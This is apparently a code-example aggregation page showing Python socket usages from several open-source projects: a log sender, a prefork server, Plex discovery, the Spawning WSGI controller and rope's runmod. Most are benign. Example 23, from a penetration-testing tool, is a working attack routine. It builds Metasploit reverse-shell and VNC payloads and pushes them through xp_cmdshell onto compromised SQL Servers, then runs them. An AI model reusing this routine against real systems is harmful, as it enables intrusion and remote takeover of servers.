                        if key not in _thread_data.condensed_events:
                            _thread_data.condensed_events[key] = []
                        _thread_data.condensed_events[key].append(event_tuple)
                        return

                event = "%s %s %s\n" % (safe_value(localtime), safe_value(config.SENSOR_NAME), " ".join(safe_value(_) for _ in event_tuple[2:]))
                if not config.DISABLE_LOCAL_LOG_STORAGE:
                    handle = get_event_log_handle(sec)
                    os.write(handle, event)

                if config.LOG_SERVER:
                    remote_host, remote_port = config.LOG_SERVER.split(':')
                    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                    s.sendto("%s %s" % (sec, event), (remote_host, int(remote_port)))

                if config.SYSLOG_SERVER:
                    extension = "src=%s spt=%s dst=%s dpt=%s trail=%s ref=%s" % (src_ip, src_port, dst_ip, dst_port, trail, reference)
                    _ = CEF_FORMAT.format(syslog_time=time.strftime("%b %d %H:%M:%S", time.localtime(int(sec))), host=HOSTNAME, device_vendor=NAME, device_product="sensor", device_version=VERSION, signature_id=time.strftime("%Y-%m-%d", time.localtime(os.path.getctime(TRAILS_FILE))), name=info, severity=0, extension=extension)
                    remote_host, remote_port = config.SYSLOG_SERVER.split(':')
                    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                    s.sendto(_, (remote_host, int(remote_port)))

                if config.DISABLE_LOCAL_LOG_STORAGE and not any(config.LOG_SERVER, config.SYSLOG_SERVER) or config.console:
                    sys.stderr.write(event)
                    sys.stderr.flush()

            if config.plugin_functions:
                for _ in config.plugin_functions:
                    _(event_tuple, packet)
    except (OSError, IOError):
        if config.SHOW_DEBUG:
            traceback.print_exc()

Example 20

Project: csdesign Source File: server04.py
def serve_forever(host, port, childnum):
    # create, bind. listen
    listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # re-use the port
    listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    # put listening socket into non-blocking mode
    listen_sock.setblocking(0)

    listen_sock.bind((host, port))
    listen_sock.listen(BACKLOG)

    print('Listening on port %d ...' % port)

    # read, write, exception lists with sockets to poll
    main_rlist, wlist, elist = [listen_sock], [], []

    # prefork children
    for index in range(childnum):
        create_child(index, listen_sock)
        # watch the socket
        main_rlist.append(CHILDREN[index]['pipe'])

    FREE_CHILD_COUNT = childnum

    while True:
        # read list with sockets to poll
        rlist = main_rlist.copy()

        # if we don't have a free child, stop accepting connections
        # (although the kernel will still be queueing up new connections
        # because of the BACKLOG)
        if FREE_CHILD_COUNT == 0:
            rlist.remove(listen_sock)

        # block in select
        readables, writables, exceptions = select.select(rlist, wlist, elist)

        if listen_sock in readables: # new client connection, we can accept now
            try:
                conn, client_address = listen_sock.accept()
            except IOError as e:
                code, msg = e.args
                if code == errno.EINTR:
                    continue
                else:
                    raise

            # find a free child to pass the connection to
            for child in CHILDREN:
                if child['status'] == FREE: # free
                    # mark as busy
                    child['status'] = BUSY

                    # pass the connection's descriptor to the child
                    write_fd(child['pipe'], conn.fileno())
                    # server doesn't need this connection any more
                    conn.close()

                    FREE_CHILD_COUNT -= 1
                    break
            else:
                # this shouldn't happen
                raise Exception('No free child found')

        # find newly-available children
        for child in CHILDREN:
            child_pipe = child['pipe']
            if child_pipe in readables:
                data = child_pipe.recv(1)
                if not data:
                    # child terminated
                    raise Exception('Child terminated unexpectedly')
                child['status'] = FREE # free
                FREE_CHILD_COUNT += 1

Example 21

Project: HTPC-Manager Source File: plex.py
    @cherrypy.expose()
    @require()
    @cherrypy.tools.json_out()
    def GetServers(self, id=None):
        """ Get list of servers """
        self.logger.debug("Getting servers from Plex")
        try:

            IP_PlexGDM = '<broadcast>'
            Port_PlexGDM = 32414
            Msg_PlexGDM = 'M-SEARCH * HTTP/1.0'

            # setup socket for discovery -> multicast message
            GDM = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            GDM.settimeout(1.0)

            # Set the time-to-live for messages to 1 for local network
            GDM.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

            returnData = []
            try:
                # Send data to the multicast group
                self.logger.info("Sending discovery message: %s" % Msg_PlexGDM)
                GDM.sendto(Msg_PlexGDM, (IP_PlexGDM, Port_PlexGDM))

                # Look for responses from all recipients
                while True:
                    try:
                        data, server = GDM.recvfrom(1024)
                        self.logger.debug("Received data from %s" % str(server))
                        self.logger.debug("Data received: %s" % str(data))
                        returnData.append( { 'from' : server,
                                             'data' : data } )
                    except socket.timeout:
                        break
            finally:
                GDM.close()

            discovery_complete = True

            PMS_list = []
            if returnData:
                for response in returnData:
                    update = { 'ip' : response.get('from')[0] }

                    # Check if we had a positive HTTP response
                    if "200 OK" in response.get('data'):
                        for each in response.get('data').split('\n'):
                            # decode response data

                            if "Content-Type:" in each:
                                update['content-type'] = each.split(':')[1].strip()
                            elif "Resource-Identifier:" in each:
                                update['uuid'] = each.split(':')[1].strip()
                            elif "Name:" in each:
                                update['serverName'] = each.split(':')[1].strip().decode('utf-8', 'replace')  # store in utf-8
                            elif "Port:" in each:
                                update['port'] = each.split(':')[1].strip()
                            elif "Updated-At:" in each:
                                update['updated'] = each.split(':')[1].strip()
                            elif "Version:" in each:
                                update['version'] = each.split(':')[1].strip()
                    PMS_list.append(update)

            if len(PMS_list) == 0:
                self.logger.info("GDM: No servers discovered")
            else:
                self.logger.info("GDM: Servers discovered: %s" % str(len(PMS_list)))

            for server in PMS_list:
                if server["uuid"] == id:
                    return {'servers': server}

            return {'servers': PMS_list}

        except Exception, e:
            self.logger.debug("Exception: " + str(e))
            self.logger.error("Unable to get players")
            return 'error'

Example 22

Project: Spawning Source File: spawning_controller.py
def main():
    current_directory = os.path.realpath('.')
    if current_directory not in sys.path:
        sys.path.append(current_directory)

    parser = optparse.OptionParser(description="Spawning is an easy-to-use and flexible wsgi server. It supports graceful restarting so that your site finishes serving any old requests while starting new processes to handle new requests with the new code. For the simplest usage, simply pass the dotted path to your wsgi application: 'spawn my_module.my_wsgi_app'", version=spawning.__version__)
    parser.add_option('-v', '--verbose', dest='verbose', action='store_true', help='Display verbose configuration '
        'information when starting up or restarting.')
    parser.add_option("-f", "--factory", dest='factory', default='spawning.wsgi_factory.config_factory',
        help="""Dotted path (eg mypackage.mymodule.myfunc) to a callable which takes a dictionary containing the command line arguments and figures out what needs to be done to start the wsgi application. Current valid values are: spawning.wsgi_factory.config_factory, spawning.paste_factory.config_factory, and spawning.django_factory.config_factory. The factory used determines what the required positional command line arguments will be. See the spawning.wsgi_factory module for docuementation on how to write a new factory.
        """)
    parser.add_option("-i", "--host",
        dest='host', default=DEFAULTS['host'],
        help='The local ip address to bind.')
    parser.add_option("-p", "--port",
        dest='port', type='int', default=DEFAULTS['port'],
        help='The local port address to bind.')
    parser.add_option("-s", "--processes",
        dest='processes', type='int', default=DEFAULTS['num_processes'],
        help='The number of unix processes to start to use for handling web i/o.')
    parser.add_option("-t", "--threads",
        dest='threads', type='int', default=DEFAULTS['threadpool_workers'],
        help="The number of posix threads to use for handling web requests. "
            "If threads is 0, do not use threads but instead use eventlet's cooperative "
            "greenlet-based microthreads, monkeypatching the socket and pipe operations which normally block "
            "to cooperate instead. Note that most blocking database api modules will not "
            "automatically cooperate.")
    parser.add_option('-d', '--daemonize', dest='daemonize', action='store_true',
        help="Daemonize after starting children.")
    parser.add_option('-u', '--chuid', dest='chuid', metavar="ID",
        help="Change user ID in daemon mode (and group ID if given, "
             "separate with colon.)")
    parser.add_option('--pidfile', dest='pidfile', metavar="FILE",
        help="Write own process ID to FILE in daemon mode.")
    parser.add_option('--stdout', dest='stdout', metavar="FILE",
        help="Redirect stdout to FILE in daemon mode.")
    parser.add_option('--stderr', dest='stderr', metavar="FILE",
        help="Redirect stderr to FILE in daemon mode.")
    parser.add_option('-w', '--watch', dest='watch', action='append',
        help="Watch the given file's modification time. If the file changes, the web server will "
            'restart gracefully, allowing old requests to complete in the old processes '
            'while starting new processes with the latest code or configuration.')
    ## TODO Hook up the svn reloader again
    parser.add_option("-r", "--reload",
        type='str', dest='reload',
        help='If --reload=dev is passed, reload any time '
        'a loaded module or configuration file changes.')
    parser.add_option("--deadman", "--deadman_timeout",
        type='int', dest='deadman_timeout', default=DEFAULTS['deadman_timeout'],
        help='When killing an old i/o process because the code has changed, don\'t wait '
        'any longer than the deadman timeout value for the process to gracefully exit. '
        'If all requests have not completed by the deadman timeout, the process will be mercilessly killed.')
    parser.add_option('-l', '--access-log-file', dest='access_log_file', default=None,
        help='The file to log access log lines to. If not given, log to stdout. Pass /dev/null to discard logs.')
    parser.add_option('-c', '--coverage', dest='coverage', action='store_true',
        help='If given, gather coverage data from the running program and make the '
            'coverage report available from the /_coverage url. See the figleaf docs '
            'for more info: http://darcs.idyll.org/~t/projects/figleaf/doc/')
    parser.add_option('--sysinfo', dest='sysinfo', action='store_true',
        help='If given, gather system information data and make the '
            'report available from the /_sysinfo url.')
    parser.add_option('-m', '--max-memory', dest='max_memory', type='int', default=0,
        help='If given, the maximum amount of memory this instance of Spawning '
            'is allowed to use. If all of the processes started by this Spawning controller '
            'use more than this amount of memory, send a SIGHUP to the controller '
            'to get the children to restart.')
    parser.add_option('--backdoor', dest='backdoor', action='store_true',
            help='Start a backdoor bound to localhost:3000')
    parser.add_option('-a', '--max-age', dest='max_age', type='int',
        help='If given, the maximum amount of time (in seconds) an instance of spawning_child '
            'is allowed to run. Once this time limit has expired the child will'
            'gracefully kill itself while the server starts a replacement.')
    parser.add_option('--no-keepalive', dest='no_keepalive', action='store_true',
            help='Disable HTTP/1.1 KeepAlive')
    parser.add_option('-z', '--z-restart-args', dest='restart_args',
        help='For internal use only')
    parser.add_option('--status-port', dest='status_port', type='int', default=0,
        help='If given, hosts a server status page at that port.  Two pages are served: a human-readable HTML version at http://host:status_port/status, and a machine-readable version at http://host:status_port/status.json')
    parser.add_option('--status-host', dest='status_host', type='string', default='',
        help='If given, binds the server status page to the specified local ip address.  Defaults to the same value as --host.  If --status-port is not supplied, the status page will not be activated.')

    options, positional_args = parser.parse_args()

    if len(positional_args) < 1 and not options.restart_args:
        parser.error("At least one argument is required. "
            "For the default factory, it is the dotted path to the wsgi application "
            "(eg my_package.my_module.my_wsgi_application). For the paste factory, it "
            "is the ini file to load. Pass --help for detailed information about available options.")

    if options.backdoor:
        try:
            eventlet.spawn(eventlet.backdoor.backdoor_server, eventlet.listen(('localhost', 3000)))
        except Exception, ex:
            sys.stderr.write('**> Error opening backdoor: %s\n' % ex)

    sock = None

    if options.restart_args:
        restart_args = json.loads(options.restart_args)
        factory = restart_args['factory']
        factory_args = restart_args['factory_args']

        start_delay = restart_args.get('start_delay')
        if start_delay is not None:
            factory_args['start_delay'] = start_delay
            print "(%s) delaying startup by %s" % (os.getpid(), start_delay)
            time.sleep(start_delay)

        fd = restart_args.get('fd')
        if fd is not None:
            sock = socket.fromfd(restart_args['fd'], socket.AF_INET, socket.SOCK_STREAM)
            ## socket.fromfd doesn't result in a socket object that has the same fd.
            ## The old fd is still open however, so we close it so we don't leak.
            os.close(restart_args['fd'])
        return start_controller(sock, factory, factory_args)

    ## We're starting up for the first time.
    if options.daemonize:
        # Do the daemon dance. Note that this isn't what is considered good
        # daemonization, because frankly it's convenient to keep the file
        # descriptiors open (especially when there are prints scattered all
        # over the codebase.)
        # What we do instead is fork off, create a new session, fork again.
        # This leaves the process group in a state without a session
        # leader.
        pid = os.fork()
        if not pid:
            os.setsid()
            pid = os.fork()
            if pid:
                os._exit(0)
        else:
            os._exit(0)
        print "(%s) now daemonized" % (os.getpid(),)
        # Close _all_ open (and othewise!) files.
        import resource
        maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
        if maxfd == resource.RLIM_INFINITY:
            maxfd = 4096
        for fdnum in xrange(maxfd):
            try:
                os.close(fdnum)
            except OSError, e:
                if e.errno != errno.EBADF:
                    raise
        # Remap std{in,out,err}
        devnull = os.open(os.path.devnull, os.O_RDWR)
        oflags = os.O_WRONLY | os.O_CREAT | os.O_APPEND
        if devnull != 0:  # stdin
            os.dup2(devnull, 0)
        if options.stdout:
            stdout_fd = os.open(options.stdout, oflags)
            if stdout_fd != 1:
                os.dup2(stdout_fd, 1)
                os.close(stdout_fd)
        else:
            os.dup2(devnull, 1)
        if options.stderr:
            stderr_fd = os.open(options.stderr, oflags)
            if stderr_fd != 2:
                os.dup2(stderr_fd, 2)
                os.close(stderr_fd)
        else:
            os.dup2(devnull, 2)
        # Change user & group ID.
        if options.chuid:
            user, group = set_process_owner(options.chuid)
            print "(%s) set user=%s group=%s" % (os.getpid(), user, group)
    else:
        # Become a process group leader only if not daemonizing.
        os.setpgrp()

    ## Fork off the thing that watches memory for this process group.
    controller_pid = os.getpid()
    if options.max_memory and not os.fork():
        env = environ()
        from spawning import memory_watcher
        basedir, cmdname = os.path.split(memory_watcher.__file__)
        if cmdname.endswith('.pyc'):
            cmdname = cmdname[:-1]

        os.chdir(basedir)
        command = [
            sys.executable,
            cmdname,
            '--max-age', str(options.max_age),
            str(controller_pid),
            str(options.max_memory)]
        os.execve(sys.executable, command, env)

    factory = options.factory

    # If you tell me to watch something, I'm going to reload then
    if options.watch:
        options.reload = True

    if options.status_port == options.port:
        options.status_port = None
        sys.stderr.write('**> Status port cannot be the same as the service port, disabling status.\n')


    factory_args = {
        'verbose': options.verbose,
        'host': options.host,
        'port': options.port,
        'num_processes': options.processes,
        'threadpool_workers': options.threads,
        'watch': options.watch,
        'reload': options.reload,
        'deadman_timeout': options.deadman_timeout,
        'access_log_file': options.access_log_file,
        'pidfile': options.pidfile,
        'coverage': options.coverage,
        'sysinfo': options.sysinfo,
        'no_keepalive' : options.no_keepalive,
        'max_age' : options.max_age,
        'argv_str': " ".join(sys.argv[1:]),
        'args': positional_args,
        'status_port': options.status_port,
        'status_host': options.status_host or options.host
    }
    start_controller(sock, factory, factory_args)

Example 23

Project: pwn_plug_sources Source File: sqlbrutequick.py
def Payload_Delivery(choice,jumptosession):
    try:
          ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
          ipaddr.connect(('google.com', 0))
          ipaddr.settimeout(2)
          ipaddr=ipaddr.getsockname()[0]
    except Exception:
          print "No internet connection detected, please enter your IP Address in manually."
          ipaddr=raw_input("Enter your IP here: ")
    port=raw_input("What port do you want the payload to connect to you on: ")
    if choice=='2':
       print "Metasploit Reverse VNC Upload Detected.."
       print "Launching MSFCLI VNC Handler."
       msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-60-* -T "Fast-Track SQL Bruter Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port))
       print "Creating Metasploit Reverse VNC Payload.."                                               
       msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait()
       print "Prepping 64KB Debug Bypass stager for delivery..."
       h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines()
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       time.sleep(5)                                                        
       printquery=mssql.execute_query(query5)
       for line1 in h2bread:
            line1=line1.rstrip()
            query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1))                                                        
            printquery=mssql.execute_query(query5)
	    temp = line1.replace("echo ", "")
            print "Sending Payload: " + temp
       print "Converting our stager to an executable..."
       query5=("""xp_cmdshell 'debug<h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""")
       printquery=mssql.execute_query(query5)
       print "Stager delivery complete."
       print "Coverting Metasploit to hex."
       import binascii
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait()
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait()
       fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines()
       filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w")
       for line in fileopen:
           line=binascii.hexlify(line)
           filewrite.write(line)
       filewrite.close()
       print "Done with payload hex conversion."
       print "Splitting payload for delivery, this may take a couple..."
       fileopen=open("%s/bin/appdata/metasploithex" % (definepath))
       createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait()
       filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w")
       while fileopen:
           a=fileopen.read(900).rstrip()
  	   if a == "":
 	            break
           filewrite.write(a)
           filewrite.write("\n")
       filewrite.close()
       query5=("""xp_cmdshell 'del metasploit*'""")
       printquery=mssql.execute_query(query5)
       fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines()
       import random
       randomgen=random.randrange(1,10000)
       for line in fileopen:
          line=line.rstrip()
          query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen))
          printquery=mssql.execute_query(query5)
          print "Sending payload: "+line
       print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       pause=raw_input("Press enter to return back to compromised SQL Servers.")
    if choice=='3':
       print "Metasploit Reverse Meterpreter Upload Detected.."
       print "Launching Meterpreter Handler."
       msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port))
       print "Creating Metasploit Reverse Meterpreter Payload.."                                               
       msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait()
       print "Prepping 64KB Debug Bypass stager for delivery..."
       h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines()
       query5=("""xp_cmdshell 'del h2bdelivery'""")                                                        
       printquery=mssql.execute_query(query5)
       for line1 in h2bread:
            line1=line1.rstrip()
            query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1))                                                        
            printquery=mssql.execute_query(query5)
            temp=line1.replace("echo e ", "")
            print "Sending Payload: " + temp
       print "Converting our stager to an executable..."
       query5=("""xp_cmdshell 'debug<h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""")
       printquery=mssql.execute_query(query5)
       print "Stager delivery complete."
       print "Coverting Metasploit to hex."
       import binascii
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait()
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait()
       fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines()
       filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w")
       for line in fileopen:
           line=binascii.hexlify(line)
           filewrite.write(line)
       filewrite.close()
       print "Done with payload hex conversion."
       print "Splitting payload for delivery, this may take a couple..."
       fileopen=open("%s/bin/appdata/metasploithex" % (definepath))
       createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait()
       filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w")
       while fileopen:
           a=fileopen.read(900).rstrip()
  	   if a == "":
 	            break
           filewrite.write(a)
           filewrite.write("\n")
       filewrite.close()
       query5=("""xp_cmdshell 'del metasploit*'""")
       printquery=mssql.execute_query(query5)
       fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines()
       import random
       randomgen=random.randrange(1,10000)
       for line in fileopen:
          line=line.rstrip()
          query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen))
          printquery=mssql.execute_query(query5)
          print "Sending payload: "+line
       print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       pause=raw_input("Press enter to return back to compromised SQL Servers.")  
      # choice 4 = metasploit reflective vnc payload
    if choice=='4':
       print "Metasploit Reflective Reverse VNC Upload Detected.."
       print "Launching Meterpreter Handler."
       msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective VNC Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port))
       print "Creating Metasploit Reverse VNC Payload.."                                               
       msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait()
       print "Prepping 64KB Debug Bypass stager for delivery..."
       h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines()
       query5=("""xp_cmdshell 'del h2bdelivery'""")                                                        
       printquery=mssql.execute_query(query5)
       for line1 in h2bread:
            line1=line1.rstrip()
            query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1))                                                        
            printquery=mssql.execute_query(query5)
            temp=line1.replace("echo e ", "")
            print "Sending Payload: " + temp
       print "Converting our stager to an executable..."
       query5=("""xp_cmdshell 'debug<h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""")
       printquery=mssql.execute_query(query5)
       print "Stager delivery complete."
       print "Coverting Metasploit to hex."
       import binascii
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait()
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait()
       fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines()
       filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w")
       for line in fileopen:
           line=binascii.hexlify(line)
           filewrite.write(line)
       filewrite.close()
       print "Done with payload hex conversion."
       print "Splitting payload for delivery, this may take a couple..."
       fileopen=open("%s/bin/appdata/metasploithex" % (definepath))
       createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait()
       filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w")
       while fileopen:
           a=fileopen.read(900).rstrip()
  	   if a == "":
 	            break
           filewrite.write(a)
           filewrite.write("\n")
       filewrite.close()
       query5=("""xp_cmdshell 'del metasploit*'""")
       printquery=mssql.execute_query(query5)
       fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines()
       import random
       randomgen=random.randrange(1,10000)
       for line in fileopen:
          line=line.rstrip()
          query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen))
          printquery=mssql.execute_query(query5)
          print "Sending payload: "+line
       print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       pause=raw_input("Press enter to return back to compromised SQL Servers.")                                                          

Example 24

Project: rope Source File: runmod.py
def __rope_start_everything():
    import os
    import sys
    import socket
    try:
        import pickle
    except ImportError:
        import cPickle as pickle
    import marshal
    import inspect
    import types
    import threading
    import rope.base.utils.pycompat as pycompat

    class _MessageSender(object):

        def send_data(self, data):
            pass

    class _SocketSender(_MessageSender):

        def __init__(self, port):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('127.0.0.1', port))
            self.my_file = s.makefile('wb')

        def send_data(self, data):
            if not self.my_file.closed:
                pickle.dump(data, self.my_file)

        def close(self):
            self.my_file.close()

    class _FileSender(_MessageSender):

        def __init__(self, file_name):
            self.my_file = open(file_name, 'wb')

        def send_data(self, data):
            if not self.my_file.closed:
                marshal.dump(data, self.my_file)

        def close(self):
            self.my_file.close()

    def _cached(func):
        cache = {}

        def newfunc(self, arg):
            if arg in cache:
                return cache[arg]
            result = func(self, arg)
            cache[arg] = result
            return result
        return newfunc

    class _FunctionCallDataSender(object):

        def __init__(self, send_info, project_root):
            self.project_root = project_root
            if send_info.isdigit():
                self.sender = _SocketSender(int(send_info))
            else:
                self.sender = _FileSender(send_info)

            def global_trace(frame, event, arg):
                # HACK: Ignoring out->in calls
                # This might lose some information
                if self._is_an_interesting_call(frame):
                    return self.on_function_call
            sys.settrace(global_trace)
            threading.settrace(global_trace)

        def on_function_call(self, frame, event, arg):
            if event != 'return':
                return
            args = []
            returned = ('unknown',)
            code = frame.f_code
            for argname in code.co_varnames[:code.co_argcount]:
                try:
                    argvalue = self._object_to_persisted_form(
                        frame.f_locals[argname])
                    args.append(argvalue)
                except (TypeError, AttributeError):
                    args.append(('unknown',))
            try:
                returned = self._object_to_persisted_form(arg)
            except (TypeError, AttributeError):
                pass
            try:
                data = (self._object_to_persisted_form(frame.f_code),
                        tuple(args), returned)
                self.sender.send_data(data)
            except (TypeError):
                pass
            return self.on_function_call

        def _is_an_interesting_call(self, frame):
            #if frame.f_code.co_name in ['?', '<module>']:
            #    return False
            #return not frame.f_back or
            #    not self._is_code_inside_project(frame.f_back.f_code)
            if not self._is_code_inside_project(frame.f_code) and \
               (not frame.f_back or
                    not self._is_code_inside_project(frame.f_back.f_code)):
                return False
            return True

        def _is_code_inside_project(self, code):
            source = self._path(code.co_filename)
            return source is not None and os.path.exists(source) and \
                _realpath(source).startswith(self.project_root)

        @_cached
        def _get_persisted_code(self, object_):
            source = self._path(object_.co_filename)
            if not os.path.exists(source):
                raise TypeError('no source')
            return ('defined', _realpath(source), str(object_.co_firstlineno))

        @_cached
        def _get_persisted_class(self, object_):
            try:
                return ('defined', _realpath(inspect.getsourcefile(object_)),
                        object_.__name__)
            except (TypeError, AttributeError):
                return ('unknown',)

        def _get_persisted_builtin(self, object_):
            if isinstance(object_, pycompat.string_types):
                return ('builtin', 'str')
            if isinstance(object_, list):
                holding = None
                if len(object_) > 0:
                    holding = object_[0]
                return ('builtin', 'list',
                        self._object_to_persisted_form(holding))
            if isinstance(object_, dict):
                keys = None
                values = None
                if len(object_) > 0:
                    # @todo - fix it properly, why is __locals__ being
                    # duplicated ?
                    keys = [key for key in object_.keys() if key != '__locals__'][0]
                    values = object_[keys]
                return ('builtin', 'dict',
                        self._object_to_persisted_form(keys),
                        self._object_to_persisted_form(values))
            if isinstance(object_, tuple):
                objects = []
                if len(object_) < 3:
                    for holding in object_:
                        objects.append(self._object_to_persisted_form(holding))
                else:
                    objects.append(self._object_to_persisted_form(object_[0]))
                return tuple(['builtin', 'tuple'] + objects)
            if isinstance(object_, set):
                holding = None
                if len(object_) > 0:
                    for o in object_:
                        holding = o
                        break
                return ('builtin', 'set',
                        self._object_to_persisted_form(holding))
            return ('unknown',)

        def _object_to_persisted_form(self, object_):
            if object_ is None:
                return ('none',)
            if isinstance(object_, types.CodeType):
                return self._get_persisted_code(object_)
            if isinstance(object_, types.FunctionType):
                return self._get_persisted_code(object_.__code__)
            if isinstance(object_, types.MethodType):
                return self._get_persisted_code(object_.__func__.__code__)
            if isinstance(object_, types.ModuleType):
                return self._get_persisted_module(object_)
            if isinstance(object_, pycompat.string_types + (list, dict, tuple, set)):
                return self._get_persisted_builtin(object_)
            if isinstance(object_, type):
                return self._get_persisted_class(object_)
            return ('instance', self._get_persisted_class(type(object_)))

        @_cached
        def _get_persisted_module(self, object_):
            path = self._path(object_.__file__)
            if path and os.path.exists(path):
                return ('defined', _realpath(path))
            return ('unknown',)

        def _path(self, path):
            if path.endswith('.pyc'):
                path = path[:-1]
            if path.endswith('.py'):
                return path

        def close(self):
            self.sender.close()
            sys.settrace(None)

    def _realpath(path):
        return os.path.realpath(os.path.abspath(os.path.expanduser(path)))

    send_info = sys.argv[1]
    project_root = sys.argv[2]
    file_to_run = sys.argv[3]
    run_globals = globals()
    run_globals.update({'__name__': '__main__',
